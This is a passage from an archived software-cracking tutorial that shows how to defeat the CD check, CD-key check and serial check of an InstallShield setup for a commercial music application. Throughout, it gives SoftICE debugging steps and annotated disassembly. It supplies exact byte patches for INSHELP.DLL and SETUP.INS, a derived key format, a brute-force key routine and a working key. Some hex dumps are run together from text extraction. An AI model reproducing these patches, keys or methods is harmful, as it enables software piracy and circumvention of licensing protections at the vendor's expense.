Setup uses GetWindowTextA to retrieves our input, but it does not wait
for the user pressing NEXT->, it just gets the text anytime we type in
a single letter,

* so lets first disable our Breakpoint : "BD 0",


and then we type in "12345678901234" and then we enable our Breakpoint:

* "BE 0".(dont forget to leave SoftICE)


So, now comes the truth. I just deleted the last number with back-space
and BOOM! yeah we are in GetWindowTextA again so lets leave here

* again by pressing "F11".


Well, this looks much better, because EAX=0D=13, yeah our Key-lenght ;)
We are in Setup by the way. Right after the Call GetWindowTextA
there is a "LEA EAX,[EBP+FFFFFBF4]" which will let EAX points to our Text,

http://www.instinct.org/fravia/natz-1.htm (9 of 27) [2/7/2001 3:21:59 PM]


natz-1.htm

* so trace over it with "F8" or "F10".


* Do a "D EAX" and you will see our text "1234567890123" !!
* ok lets delete our Breakpoint, because we got what we wanted : "BC
*".

And now we set a Breakpoint on Memory Access on our text loaction :


* "BPM EAX". Ok, exit SoftICE and it will fast pop up again.
SoftICE will break into different locations, but the one that is important
for us is the lstrcpyA.
You will land in there at the following instructions :

... ............
REPNZ SCASB SoftICE will break in here!
NOT ECX
MOV ESI,[EBP+0C] This is our old location
MOV EDI,[EBP+08] This will be our new location
... ............

So, if you see these instructions you can delete your old breakpoint,
* trace over the 2 MOVS with "F8" and then set a new Breakpoint on EDI:
* "BPM EDI". Otherwise just leave SoftICE until you are back in the
Installation Window. Press NEXT-> and you will break into lstrcpyA
several times again, but now dont delete the old Breakpoints,
just set the new ones on EDI after the 2 MOVS like before,
until you are in INSHELP!! yeah its the same dll ;).
Let me give you the listing first and consider again that the first
four digits of the adresses may differ from yours under SoftICE (relocation).

SoftICE will break in at 10001377!

Start of this routine:

:10001350 83EC34 sub esp, 00000034 Create a temporary


Stack-Frame
:10001353 53 push ebx Save ebx
:10001354 56 push esi Save esi
:10001355 57 push edi Save edi
:10001356 E8D5FCFFFF call 10001030 Was this routine
initialysed ?
:1000135B 85C0 test eax, eax Check ok ? (It will
be)
:1000135D 750B jne 1000136A then goto 1000136A,
else
:1000135F 33C0 xor eax, eax Set eax=0 BAD BOY!
:10001361 5F pop edi Restore edi
:10001362 5E pop esi Restore esi
:10001363 5B pop ebx Restore ebx
:10001364 83C434 add esp, 00000034 Delete temporary
Stack-Frame
:10001367 C20400 ret 0004 Return

Well it seems that EAX=0 stands for BAD BOY again like in the CD-Check!
Cracking this CD-KEY could end here just by patching the instructions
at the Start of this routine (10001350)...

http://www.instinct.org/fravia/natz-1.htm (10 of 27) [2/7/2001 3:21:59 PM]


natz-1.htm

Dont patch it yet, if you wanna learn how to reverse ingineer this
KEY-Protection!!

Original:
:10001350 83EC34 sub esp, 00000034 Create a temporary
Stack-Frame
:10001353 53 push ebx Save ebx
:10001354 56 push esi Save esi
:10001355 57 push edi Save edi
:10001356 E8D5FCFFFF call 10001030 Was this routine initialysed
?

Change to:
:10001350 33C0 xor eax,eax eax=0
:10001352 40 inc eax eax=eax+1=1 GOOD BOY
:10001353 C20400 ret 0004 Return

Search for "83EC34535657" in INSHELP.DLL with your Hex-Editor.


You will only find one location (Offset 750).
Replace the bytes with "33C040C20400" and save it.
Ok, and now compress it back into _SETUP.LIB.
Just type in "icomp inshelp.dll _setup.lib" and dont delete INSHELP.DLL,
because we will need it again later ;)
And now any KEY you type in will be valid, cool heh =)

Do you wanna learn how to reverse this CD-KEY Protection ?


If not just go over to the (SERIAL) Section below!

Ok, lets go on with this routine...

* Referenced by a Jump at Address:1000135D(C)


|
:1000136A 8B5C2444 mov ebx, [esp + 44] ebx will point to our KEY !
:1000136E 8D4C240C lea ecx, [esp + 0C] ecx will be the new location
:10001372 8BC3 mov eax, ebx eax=ebx=pointer to our KEY
:10001374 803B00 cmp byte ptr [ebx], 00 (9) KEY=NULL ?
:10001377 741B je 10001394 <------ SoftICE will break in here!!
(9) Check if our KEY is emty, if yes goto 10001394 * Referenced by a Jump at
Address:10001392(C) | :10001379 8A10 mov dl, [eax] (10) Get a char from our KEY
:1000137B 0FBEF2 movsx byte ptr esi, edx esi="dl=the" char :1000137E 83FE30 cmp esi,
00000030 Compare char with "0" :10001381 7C05 jl 10001388 If lower goto 10001388,
else :10001383 83FE39 cmp esi, 00000039 Compare char with "9" :10001386 7E03 jle
1000138B If lower,equal then goto 1000138B * Referenced by a Jump at
Address:10001381(C) | :10001388 40 inc eax Increment char pointer :10001389 EB04 jmp
1000138F goto 1000138F * Referenced by a Jump at Address:10001386(C) | :1000138B 8811
mov [ecx], dl (11) Store number in new location :1000138D 40 inc eax Increment char
pointer :1000138E 41 inc ecx Increment loacation pointer * Referenced by a Jump at
Address:10001389(U) | :1000138F 803800 cmp byte ptr [eax], 00 End of KEY ? :10001392
75E5 jne 10001379 If not then goto 10001379 (10) This piece of code "will.class"
tppabs="http://fravia.org/will.class" retrieve only numbers from our KEY and then it
(11) stores them at the new location, so if you typed in "1234a67b89" the new
location will contain only "12346789" consider this !! * Referenced by a Jump at
Address:10001377(C) | :10001394 8D7C240C lea edi, [esp + 0C] (12) edi will point to
our KEY :10001398 2BC0 sub eax, eax Set eax="0" :1000139A C60100 mov byte ptr [ecx],

http://www.instinct.org/fravia/natz-1.htm (11 of 27) [2/7/2001 3:21:59 PM]


natz-1.htm

00 Teminate KEY with 0 :1000139D B9FFFFFFFF mov ecx, FFFFFFFF Set counter ecx to
FFFFFFFF :100013A2 F2 repnz :100013A3 AE scasb Scan KEY for "0"="End" :100013A4 F7D1
not ecx :100013A6 49 dec ecx ecx="KEY" length :100013A7 83F90D cmp ecx, 0000000D (13)
KEY length="13" diggits ? :100013AA 740B je 100013B7 If yes goto 100013B7, else
:100013AC 33C0 xor eax, eax BAD BOY! :100013AE 5F pop edi :100013AF 5E pop esi
:100013B0 5B pop ebx :100013B1 83C434 add esp, 00000034 :100013B4 C20400 ret 0004
(12) This part calculates our KEY length and then it checks if it is (13) 13 (0Dh)
diggits long. If not it will return with eax="0" BAD BOY! * Referenced by a Jump at
Address:100013AA(C) | :100013B7 8D44240C lea eax, [esp + 0C] eax points to the KEY at
[esp+0C] :100013BB 50 push eax Handle it to Sub :100013BC E87F000000 call 10001440
(14) Generate code :100013C1 3D377B0E00 cmp eax, 000E7B37 (15) Compare code with
E7B37 :100013C6 7565 jne 1000142D If not equal then goto 1000142D BAD BOY ! :100013C8
0FBE4C240C movsx byte ptr ecx, [esp + 0C] (16) ecx="1." number from KEY :100013CD
8D1489 lea edx, [ecx + 4*ecx] edx="ecx*5" :100013D0 0FBE44240F movsx byte ptr eax,
[esp + 0F] eax="4." number from KEY :100013D5 8D0C50 lea ecx, [eax + 2*edx]
ecx="edx*2+eax" :100013D8 8D1489 lea edx, [ecx + 4*ecx] edx="ecx*5" :100013DB
0FBE442410 movsx byte ptr eax, [esp + 10] eax="5." number from KEY :100013E0 8D0C50
lea ecx, [eax + 2*edx] ecx="edx*2+eax" :100013E3 8D1489 lea edx, [ecx + 4*ecx]
edx="ecx*5" :100013E6 0FBE442411 movsx byte ptr eax, [esp + 11] eax="6." number from
KEY :100013EB 8D0C50 lea ecx, [eax + 2*edx] ecx="edx*2+eax" :100013EE 2B0D54610010
sub ecx, [10006154] (17) Sub App-ID (E11) :100013F4 81F950D00000 cmp ecx, 0000D050
(18) Compare with D050 :100013FA 7531 jne 1000142D If not equal then goto 1000142D
BAD BOY :100013FC 8D7C240C lea edi, [esp + 0C] (19) edi points to the KEY :10001400
B9FFFFFFFF mov ecx, FFFFFFFF Set counter to FFFFFFFF :10001405 2BC0 sub eax, eax Set
eax="0" :10001407 F2 repnz :10001408 AE scasb Scan KEY for "0"="End" :10001409 F7D1
not ecx ecx="KEY" length+1 :1000140B 2BF9 sub edi, ecx Adjust edi back :1000140D 8BC1
mov eax, ecx eax="ecx" :1000140F C1E902 shr ecx, 02 ecx="ecx/4=3" :10001412 8BF7 mov
esi, edi esi points to the KEY :10001414 8BFB mov edi, ebx edi="old" location of KEY
:10001416 F3 repz :10001417 A5 movsd Copy KEY to old location :10001418 8BC8 mov ecx,
eax ecx="KEY" length :1000141A 83E103 and ecx, 00000003 ecx="mod" ecx/4="1" :1000141D
F3 repz :1000141E A4 movsb Copy last byte(s) :1000141F B801000000 mov eax, 00000001
eax="1" GOOD BOY! :10001424 5F pop edi :10001425 5E pop esi :10001426 5B pop ebx
:10001427 83C434 add esp, 00000034 :1000142A C20400 ret 0004 * Referenced by a Jump
at Addresses:100013C6(C), :100013FA(C) | :1000142D 33C0 xor eax, eax (20) eax="0" BAD
BOY! :1000142F 5F pop edi :10001430 5E pop esi :10001431 5B pop ebx :10001432 83C434
add esp, 00000034 :10001435 C20400 ret 0004 To reverse engineer a KEY-Check i start
at the end of the routine. I mean where the final check occures!. This will happen at
line (18) 100013F4. Here ecx must be D050. Now lets go back to the previous line.
Here ecx will be subtracted by E11 the App-ID, this means ecx must be D050+E11="DE61"
at this point!! Now let us see what the instructions at (16) does ! Well, let me
first extract the few lines from 100013C8 100013EB into a more comfortable format for
you : (1000,100 and 10 are in decimal ; numbers are in asc-II!) ecx="(" ( (1. number)
* 10 + 4. number ) * 10 ) + 5. number ) * 10 ) + 6. number After simplification we
get : ecx="1." number * 1000 + 4. number *100 + 5. number *10 + 6. number Hmm, now we
know how ecx is calculated, but whats D050 ? Well, if we typed in "0"="48=30h" as our
1.,4.,5. and 6. number, then we will get : ecx="30h" * 1000d + 30h * 100d + 30h * 10d
+ 30h="D050!" And now consider that E11 h="3601" d="3" * 1000d + 6 * 100d + 0 * 10d +
1! Now guess what our 4 numbers are ;)! Yes, thats right... the 1st number must be 3!
the 4th number must be 6! the 5th number must be 0! and the 6th number must be 1! So
our KEY is build like this "3xx601xxxxxxx" ,hehe! Ok, lets look back before (16) (14)
This will call a sub at 10001440 which will calculate a code with our KEY. (15) This
code will be compared with E7B37! If this compare fails we will land at (20) 1000142D
BAD BOY! Let us first examine the sub which generates the code... :10001440 56 push
esi Save esi :10001441 33D2 xor edx, edx edx="0" :10001443 57 push edi Save edi
:10001444 33C9 xor ecx, ecx ecx="0," this will be our char position counter :10001446

http://www.instinct.org/fravia/natz-1.htm (12 of 27) [2/7/2001 3:21:59 PM]


natz-1.htm

8B74240C mov esi, [esp + 0C] esi will point to our KEY :1000144A 380E cmp [esi], cl
Is the KEY emty ? :1000144C 7419 je 10001467 If yes goto 10001467 and return with
code="0" * Referenced by a Jump at Address:10001465(C) | :1000144E C1E206 shl edx, 06
(21) edx="edx*2^6=edx*64d=edx*40h" :10001451 BFE1D61200 mov edi, 0012D6E1
edi="12D6E1" :10001456 0FBE040E movsx byte ptr eax, [esi + ecx] (22) get next number
from our KEY :1000145A 03C2 add eax, edx eax="eax+edx" :1000145C 41 inc ecx
ecx="ecx+1," counter +1 :1000145D 2BD2 sub edx, edx edx="0" :1000145F F7F7 div edi
(23) eax="eax/edi," edx="mod" (eax/edi) :10001461 803C0E00 cmp byte ptr [esi + ecx],
00 Reach end of KEY ? :10001465 75E7 jne 1000144E If not goto 1000144E * Referenced
by a Jump at Address:1000144C(C) | :10001467 8BC2 mov eax, edx (24) eax="edx," the
code! :10001469 5F pop edi Restore edi :1000146A 5E pop esi Restore esi :1000146B
C20400 ret 0004 return To reverse this sub we must start at the end of it at line
10001467 (24)! eax="edx" is the code and it must be E7B37 (15)! (23) Here we see that
E7B37 is mod (eax/edi)="mod" (eax/12D6E1) (22) Well, this is shit!, because we will
loose information (eax) by each loop. What we know is that eax will be clipped after
every 4 number, because... 30*40*40*40+30*40*40+30*40+30="C30C30"> 12D6E1
Thus we can set a seed KEY "3xx6x1yyyyyyy", where x can be any number and
y will be the corrections.First go back to Setup and choice a seed KEY!
I used for example "3006010000000".

To get a valid KEY let us Brute-Force-Crack this babe =)


Its not the best way, but this code generating part is short, thus
it will be executed fast.

Trace to the location at line 100013C1 (15) where the code will be
compared with E7B37.
Trace over it to the next line 100013C6 and then we have to code a
little procedure.
* EBX is unused, so we will use it as counter. Type in "r ebx=0".
* Now type in "a" and let us add a little procedure, which will find
a valid KEY for us.
Please adjust the adresses yourself, since this will be typed directly
into memory!

* "JNZ GO_ON" Not a valid KEY, goto GO_ON


* FOUND&FAIL: "NOP" This will be our Stop Point
* GO_ON: "CMP EBX,1312CFF" Check only numbers from 0-19999999!
* "JZ FAIL" Yes, goto FAIL
* "MOV ESI,[ESP+C]" ESI points to our KEY
* "MOV EAX,EBX" EAX=EBX
* "MOV ECX,A" ECX=A=10d
* CONVERT_DEC: "XOR EDX,EDX" EDX=0
* "DIV ECX" EAX=EAX/ECX, EDX=MOD (EAX/ECX)
* "ADD DL,30" EDX=EDX+"0"
* "MOV [ESI+C],DL" STORE NUMBER INTO KEY
* "DEC ESI" ESI will point to the previous number
* "CMP EAX,0" Conversion completed ?
* "JNZ CONVERT_DEC" If not goto CONVERT_DEC
* "JMP 100013B7" Check this KEY !

The comparision at GO_ON makes sure that the App-ID will not be manipulated !!
* Ok, you typed in all this mess ;) Now you must clear all Break-Points "BC *"
* and then set a Break-Point on execution on line FOUND&FAIL!!
"BPX ".
Now leave SoftICE and wait.....

http://www.instinct.org/fravia/natz-1.htm (13 of 27) [2/7/2001 3:21:59 PM]


natz-1.htm

SoftICE will pop up at FOUND&FAIL, so first check EAX, it should be E7B37!


* If yes, you can get your KEY with "D [ESP+C]".
I have found "3006010147046" for my seed KEY ,btw =)

* To get out of this Loop set your EIP to 1000142D "r eip=1000142D" and clear all
Break-Points!
Then leave SoftICE, and you will be back in Setup. Cancel it and then start it
again
and use your valid KEY!

Let's summarize:
- KEY must contain 13 numbers.
- KEY has got 4 fixed numbers "3xx601yyyyyyy".
Its the App-ID (3601), which may differ in other
App from Twelve Tone Systems. Setup handles this App-ID to
INSHELP before he calls it.
- yyyyyyy can be found with Brute-Force-Cracking.

This Protection is defeated, lets go over to the...

(SERIAL)
Well, the KEY was a little bit tricky, heh ? Anyway you are here now to face
the Serial!
Setup asks for a User-Name, Company and Serial, so lets type in sum crap.
I typed in "NaTzGUL" as User-Name, "REVOLT" as Company and "1234567890" as Serial.
Please proceed with the Serial like in the KEY Section!!
You will land into Setup!, damn the Script is doing the Check, brbrb!

I gave up! There are just too many push,pop and calls, believe me, else try it out!

To defeat this Protection we need a new method!

__________________________

E) SECOND APPROACH

ASSUMPTION:
I assume that you have read the first Approach and that the App (INSHELP) is
now once more unpatched in any way !

Original state ! You may uncompress the whole App again !

INTRO: Zen! yeah, thats what we need =)

As i told you in our first approach SETUP.INS is the main part of an


InstallSHIELD Installation!

SETUP.INS is a compiled Script, this means before compilation it may have


the following basic instructions :

- "IF,THEN,(ELSE)"
- "GOTO"
- "CALL"
- "RETURN()"

http://www.instinct.org/fravia/natz-1.htm (14 of 27) [2/7/2001 3:21:59 PM]


natz-1.htm

- "LOAD","OPEN","CLOSE"
- "MESSAGEBOX"
- etc.

To decrypt the whole mnemonic back to its instructions is not


necessary to crack this app,
so i though that the most important instruction should be
the "IF,THEN" one. It should occure very
often in the Script and it may have the following syntax :

IF cmp THEN....

cmp = (arg1) compare_type (arg2)

arg1 is a variable, arg2 can be a variable or a constant


(two constants makes no sense ,of coz !).
the compare_type can only be one of these six types :

Type: Coresponding jmp:

LOWER-EQUAL JLE
GREATER-EQUAL JGE
LOWER JL
GREATER JG
NOT-EQUAL JNE
EQUAL JE

A compiled COMPARE instruction could look like this :

Compare_mnemonic,result,Byte_A, arg1 , Byte_B, compare_type, Byte_C, arg2

Byte_A is refering arg1, Byte_B gets the compare_type and Byte_C is referring arg2
and
also says if arg2 is a variable or constant.

You maybe have realised , that there are some mnemonics are missing.
As i mentioned this instruction should occure very often in
SETUP.INS, so i examined the file for this byte structure and me found out :

>>>>>> COMPARE mnemonic (actually 128)!


| | |
28,01,32,result_var,Byte_A, arg1 , Byte_B, compare_type, Byte_C, arg2

Byte_A="B"=0x42 means variable_index(word) is following


Byte_B="A"=0x41 means constant (dword) is following

Byte_C="A"=0x41 if comparing with a constant


Byte_C="B"=0x42 if comparing two viriables

result_var = type of word (variable_index)


arg1 = type of word (variable_index)
compare_type = type of dword (1-6)
arg2 = type of word (variable_index) or dword (constant)

http://www.instinct.org/fravia/natz-1.htm (15 of 27) [2/7/2001 3:21:59 PM]


natz-1.htm

Example : lets say we have found the following bytes .

28,01,32, 03,00, 42, 01,00, 41, compare_type, 42, 02,00

This will compare a variable with index 0x0001 and a varible with index 0x002
with the specific compare_type and then stores the result (0/1)
of this comparision into the variable with index 0x003.

Now what we need are the type of comparisions, hmm... how should we obtain
them?
Setup is executing this Script, so there is the place we have to
search for them!

I W32dasm Setup.exe and searched for the place where compare_type


gets compared with 1-6 and i found them at line 0043C89B.

* Referenced by a Jump at Address:0043C89F(C)


|
:0043C7B2 8B45F4 mov eax, [ebp-0C] eax=arg1
:0043C7B5 3945F8 cmp [ebp-08], eax compare arg2 with
arg1
:0043C7B8 0F8E0C000000 jle 0043C7CA lower-equal?
compare_type_1!
:0043C7BE C745FC01000000 mov [ebp-04], 00000001 return result 1 in
[ebp-4]
:0043C7C5 E907000000 jmp 0043C7D1 jmp to end

* Referenced by a Jump at Address:0043C7B8(C)


|
:0043C7CA C745FC00000000 mov [ebp-04], 00000000 return result 1 in
[ebp-4]

* Referenced by a Jump at Address:0043C7C5(U)


|
:0043C7D1 E906010000 jmp 0043C8DC jmp to end

* Referenced by a Jump at Address:0043C8A9(C)


|
:0043C7D6 8B45F4 mov eax, [ebp-0C]
:0043C7D9 3945F8 cmp [ebp-08], eax
:0043C7DC 0F8D0C000000 jnl 0043C7EE greater-equal?
compare_type_2!
:0043C7E2 C745FC01000000 mov [ebp-04], 00000001
:0043C7E9 E907000000 jmp 0043C7F5

* Referenced by a Jump at Address:0043C7DC(C)


|
:0043C7EE C745FC00000000 mov [ebp-04], 00000000

* Referenced by a Jump at Address:0043C7E9(U)


|
:0043C7F5 E9E2000000 jmp 0043C8DC

* Referenced by a Jump at Address:0043C8B3(C)


|

http://www.instinct.org/fravia/natz-1.htm (16 of 27) [2/7/2001 3:21:59 PM]


natz-1.htm

:0043C7FA 8B45F4 mov eax, [ebp-0C]


:0043C7FD 3945F8 cmp [ebp-08], eax
:0043C800 0F8C0C000000 jl 0043C812 ;lower?
compare_type_3!
:0043C806 C745FC01000000 mov [ebp-04], 00000001
:0043C80D E907000000 jmp 0043C819

* Referenced by a Jump at Address:0043C800(C)


|
:0043C812 C745FC00000000 mov [ebp-04], 00000000

* Referenced by a Jump at Address:0043C80D(U)


|
:0043C819 E9BE000000 jmp 0043C8DC

* Referenced by a Jump at Address:0043C8BD(C)


|
:0043C81E 8B45F4 mov eax, [ebp-0C]
:0043C821 3945F8 cmp [ebp-08], eax
:0043C824 0F8F0C000000 jg 0043C836 ;greater ?
compare_type_4!
:0043C82A C745FC01000000 mov [ebp-04], 00000001
:0043C831 E907000000 jmp 0043C83D

* Referenced by a Jump at Address:0043C824(C)


|
:0043C836 C745FC00000000 mov [ebp-04], 00000000

* Referenced by a Jump at Address:0043C831(U)


|
:0043C83D E99A000000 jmp 0043C8DC

* Referenced by a Jump at Address:0043C8C7(C)


|
:0043C842 8B45F4 mov eax, [ebp-0C]
:0043C845 3945F8 cmp [ebp-08], eax
:0043C848 0F850C000000 jne 0043C85A not-equal ?
compare_type_5!
:0043C84E C745FC01000000 mov [ebp-04], 00000001
:0043C855 E907000000 jmp 0043C861

* Referenced by a Jump at Address:0043C848(C)


|
:0043C85A C745FC00000000 mov [ebp-04], 00000000

* Referenced by a Jump at Address:0043C855(U)


|
:0043C861 E976000000 jmp 0043C8DC

* Referenced by a Jump at Address:0043C8D1(C)


|
:0043C866 8B45F4 mov eax, [ebp-0C]
:0043C869 3945F8 cmp [ebp-08], eax
:0043C86C 0F840C000000 je 0043C87E ; equal ? compare_type_6!
:0043C872 C745FC01000000 mov [ebp-04], 00000001

http://www.instinct.org/fravia/natz-1.htm (17 of 27) [2/7/2001 3:21:59 PM]


natz-1.htm

:0043C879 E907000000 jmp 0043C885

* Referenced by a Jump at Address:0043C86C(C)


|
:0043C87E C745FC00000000 mov [ebp-04], 00000000

* Referenced by a Jump at Address:0043C879(U)


|
:0043C885 E952000000 jmp 0043C8DC

* Referenced by a Jump at Address:0043C8D7(U)


|
:0043C88A C745FC00000000 mov [ebp-04], 00000000
:0043C891 E946000000 jmp 0043C8DC
:0043C896 E941000000 jmp 0043C8DC

* Referenced by a Jump at Address:0043C7AD(U)


|
:0043C89B 837DEC01 cmp [ebp-14], 1 ; This is the entry point of the
compare-part
:0043C89F 0F840DFFFFFF je 0043C7B2 and [ebp-14] will be the
compare_type!
:0043C8A5 837DEC02 cmp [ebp-14], 2
:0043C8A9 0F8427FFFFFF je 0043C7D6
:0043C8AF 837DEC03 cmp [ebp-14], 3
:0043C8B3 0F8441FFFFFF je 0043C7FA
:0043C8B9 837DEC04 cmp [ebp-14], 4
:0043C8BD 0F845BFFFFFF je 0043C81E
:0043C8C3 837DEC05 cmp [ebp-14], 5
:0043C8C7 0F8475FFFFFF je 0043C842
:0043C8CD 837DEC06 cmp [ebp-14], 6
:0043C8D1 0F848FFFFFFF je 0043C866
:0043C8D7 E9AEFFFFFF jmp 0043C88A

Ok, let us summerize the compare_types :

Type: math.exp.: Coresponding jmp:


Compare Type (dword):

LOWER-EQUAL <= JLE 1 GREATER-EQUAL>=


JGE 2
LOWER JG
4
NOT-EQUAL != JNE
5
EQUAL = JE
6

MESSAGEBOX byte structure :

2A,0,61,length(word),text will show a messagebox with the specific text!

Since the compare part of an IF-THEN instruction is what we really need for our

http://www.instinct.org/fravia/natz-1.htm (18 of 27) [2/7/2001 3:21:59 PM]


natz-1.htm

interest
you could now go directly to the START further below!

Otherwise learn more about other instructions and how they are build up =)

The structure of a compiled IF-THEN instruction may look like this :

COMPARE , BRANCH_TO location IF !(result - arg_x)

(result - arg_x) will be zero if they are equal else it will be not zero.
The result comes from the comparision and arg_x can be a varible or a constant.

Now we come to the IF-THEN byte structure :

COMPARE-structure,BRANCH_TO_mnemonic,l_index, SUB, Byte_A,result,Byte_C,arg_x

BRANCH_TO_mnemonic = 22,0,70
SUB = 95 (in an IF-THEN instruction!)

Byte_A="B"=0x42 result of comparision will allways be a variable_index


Byte_C="A"=0x41 arg_x allways will be a constant in an IF-THEN instruction!

l_index = type of word (index)


result = type of word (variable_index)
arg_x = will be a dword (constant) =0x00000000 in an IF-THEN
instruction!

The branch location will be an offset into the script and it is calculated
like this :

location = dword [ l_index* 6 + Branch-Table-Offset+2]


Location-Table-Offset = Offset "_EWQ" ;in this script it
was 14546!

Just search for "_EWQ" and you will find it (Its linked at the end of the
script)!

GOTO byte stucture :

2C,00,70,l_index

There are more instructions i have decrypted, but we dont need them
for this tutorial.
Its quite easy to write a Decompiler with this information and if
you have found out the location where Setup is executing the script
then its not that hard to see what it is doing depending on the mnemonic,
But thats another story and this tutorial is getting damn big enough!

Now we can try out our first Script-Cracking attempt =)...

START:

(CD-CHECK)
First think about how this check was written with the Script instructions !!
The easiest way may be done like this :

http://www.instinct.org/fravia/natz-1.htm (19 of 27) [2/7/2001 3:21:59 PM]


natz-1.htm

(Assume: Return_of_INSHELP=0/1 (BAD/GOOD)! )

arg1=CALL(INSHELP,CD-CHECK)
IF arg1 = 0 THEN MESSAGEBOX "Setup must be run from the original CD":END
ELSE RETURN(1)

or this...

arg1=CALL(INSHELP,CD-CHECK)
IF arg1 != 0 THEN RETURN(1)
ELSE MESSAGEBOX "Setup must be run from the original
CD":RETURN(0)

After compiling this pice of code, the bytes would look like this :

28,01,32,"B",arg1 (word),"A",6 (dword),"A",0 (dword),...,2A,0,61,27 (word),"Setup


must be..."

or this...

28,01,32,"B",arg1 (word),"A",5 (dword),"A",0 (dword),...,2A,0,61,27 (word),"Setup


must be..."

I have retrieved this part of SETUP.INS for you....(Offset 8D70)

arg1_Variable_index (word) <<> compare_type_5!


result_Variable_index (word) <<< | | | IF mnemonic <<<<< | | | | | * | | | |
| | | | 00008D70 9A FF 42 2D 00 28 01 32 2D 00 42 9B FF 41 05 00 ..B-.(.2-.B..A..
00008D80 00 00 41 00 00 00 00 22 00 70 53 01 95 42 2D 00 ..A....".pS..B-. 00008D90 41
00 00 00 00 2A 00 61 27 00 53 65 74 75 70 20 A....*.a'.Setup 00008DA0 6D 75 73 74 20
62 65 20 72 75 6E 20 66 72 6F 6D must berun from 00008DB0 20 74 68 65 20 6F 72 69 67
69 6E 61 6C 20 43 44 theoriginal CD We see that its compare_type_5 (!=")," so we just
have to change it into 6 (=")" at Offset 8D7E to defeat this CD-CHECK, isnt it easy !
BTW, if you are using the patched INSHELP, this change will reverse the result from
INSHELP, so dont use the patched INSHELP!!!! (CD-KEY) I seeked SETUP.INS for the
bytes 2A,0,61 and found the CD-KEY notification part at Offset 8FD0 8FD0 42 00 00 28
01 32 2E 00 42 2D 00 41 02 00 00 00 B..(.2..B-.A.... KEY-length !<0 ? 8FE0 41 00 00
00 00 22 00 70 5A 01 95 42 2E 00 41 00 A....".pZ.B..A. 8FF0 00 00 00 21 00 32 99 FF
41 01 00 00 00 2C 00 70 ...!.2A....,.p 9000 5C 01 00 00 01 00 3A 00 41 00 00 00 00
00 00 00 \.....:.A....... 9010 00 00 00 01 00 2C 00 70 59 01 00 00 0B 00 19 01
.....,.pY....... 9020 32 97 FF 42 97 FF 41 01 00 00 00 B4 00 80 6D 00
2BA.....m. 9030 42 9A FF 21 00 32 2D 00 42 00 00 21 00 32 9B FF
B!.2-.B..!.2 9040 42 2D 00 28 01 32 2D 00 42 9B FF 41 05 00 00 00
B-.(.2-.BA.... KEY-CHECK here !! 9050 41 00 00 00 00 22 00 70 61 01 95 42 2D 00 41
00 A....".pa.B-.A. 9060 00 00 00 28 01 32 2E 00 42 97 FF 41 01 00 00 00
...(.2..BA.... Tries <="6" times ? 9070 41 06 00 00 00 22 00 70 5E 01 95 42 2E 00
41 00 A....".p^.B..A. if not display 9080 00 00 00 3A 00 41 00 00 00 00 2A 00 61 2B
00 50 ...:.A....*.a+.P | this and End. 9090 6C 65 61 73 65 20 65 6E 74 65 72 20 79 6F
75 72 lease enteryour | 90A0 20 43 44 2D 4B 65 79 20 74 6F 20 63 6F 6E 74 69 CD-Key
toconti | 90B0 6E 75 65 20 73 65 74 75 70 2E 41 01 00 FF FF 2C nuesetup.A.., | 90C0
00 70 60 01 00 00 05 00 2A 00 61 38 00 59 6F 75 .p`.....*.a8.You | 90D0 20 6D 75 73
74 20 65 6E 74 65 72 20 74 68 65 20 must enterthe 90E0 70 72 6F 70 65 72 20 43 44 2D
4B 65 79 20 74 6F properCD-Key to 90F0 20 69 6E 73 74 61 6C 6C 20 74 68 65 20 70 72
6F install thepro 9100 64 75 63 74 2E 41 03 00 FF FF B3 00 62 9B FF 21

http://www.instinct.org/fravia/natz-1.htm (20 of 27) [2/7/2001 3:21:59 PM]


natz-1.htm

duct.A...b! Change Offset(904C) to 6 and this KEY-Protection will be


history,hehe! You can now type in anything you want and it will be valid. BTW, if you
also change Offset(8FDC) to 4 it will also accept an empty KEY! (Serial) Ok, now we
will see if this Script-Cracking will defeat this damn Serial-Check ! This Check dont
use INSHELP or any other DLL. It strickly uses the Script !! This means we cant
espect a simple compare_type_5 or 6 before its messagebox ! There is no other way
than using our beloved SoftICE a bit ! To see what Setup is comparing when he checks
the Serial we must first type in User-Name,(Company) and a Serial. I used "123456789"
as Serial. Now invoke SoftICE with its hotkey (Strg+D) and make sure you are inside
Setups Adress-Context ("Setup" in the right, bottom egde) , otherwise leave SoftICE
and invoke it again until you are there. If you are inside the Kernel or inside User
API just * trace back with "F12" until you are in Setup! * Set BPX on 0043C89B "bpx
0043C89B" the entry point of the compare part! Now leave SoftICE and press NEXT-> .
SoftICE will pop up at 0043C89B several times and Setup will
perform comparisions !

Here is my history of the comparisions :

Comparisions: Compare_type:

(1) 0 != 1 5 Not important


(2) 0 >= 3 2 Not important (chr-position counter?)

(3) 9 <= 0 1 This looks like our Serial-length! (4) 61> 31 4


Well, its the first char of our Serial!
(5) 7A <31 3 and it setup is checking if it is (6) 41> 31 4
between "a"-"z","A"-"Z","0"-"9"
(7) 5A <31 3 (8) 30> 31 4
(9) 39 <31 3 (10) 3 <="0" 1 Not important(chr-position counter?) BREAK. It
seems that it checks every char from our serial seperately. Since our Serial is not
valid lets fake this check! (3) This really looks like a char position pointer, which
is compared to our serial length. We have to reverse this compare to get out of this
check! Here is the hex dump... 6240 00 28 01 32 2E 00 42 2D 00 41 02 00 00 00 41 00
.(.2..B-.A....A. This only checks if our Serial 6250 00 00 00 22 00 70 D7 00 95 42 2E
00 41 00 00 00 ...".p.B..A... is empty! 6260 00 B5 00 80 66 00 70 DB 00 62 26 00 21
00 32 2D ..f.p.b&.!.2- 6270 00 42 00 00 22 00 70 D4 00 95 42 2D 00 41 00 00
.B..".p.B-.A.. 6280 00 00 21 00 32 9B FF 41 01 00 00 00 2C 00 70 D6
..!.2A....,.p 6290 00 00 00 02 00 3A 00 41 00 00 00 00 2A 00 61 37
.....:.A....*.a7 62A0 00 50 6C 65 61 73 65 20 65 6E 74 65 72 20 79 6F .Pleaseenter yo
62B0 75 72 20 73 65 72 69 61 6C 20 6E 75 6D 62 65 72 ur serialnumber 62C0 20 74 6F 20
63 6F 6E 74 69 6E 75 65 20 77 69 74 tocontinue wit 62D0 68 20 73 65 74 75 70 2E 41 01
00 FF FF 00 00 00 hsetup.A..... 62E0 00 00 00 01 00 2C 00 70 D9 00 00 00 06 00 2F
00 .....,.p...../. 62F0 62 24 00 21 00 32 2D 00 42 00 00 28 01 32 2E 00
b$.!.2-.B..(.2.. 6300 42 2D 00 41 03 00 00 00 41 00 00 00 00 22 00 70
B-.A....A....".p This checks if our Name 6310 D8 00 95 42 2E 00 41 00 00 00 00 3A 00
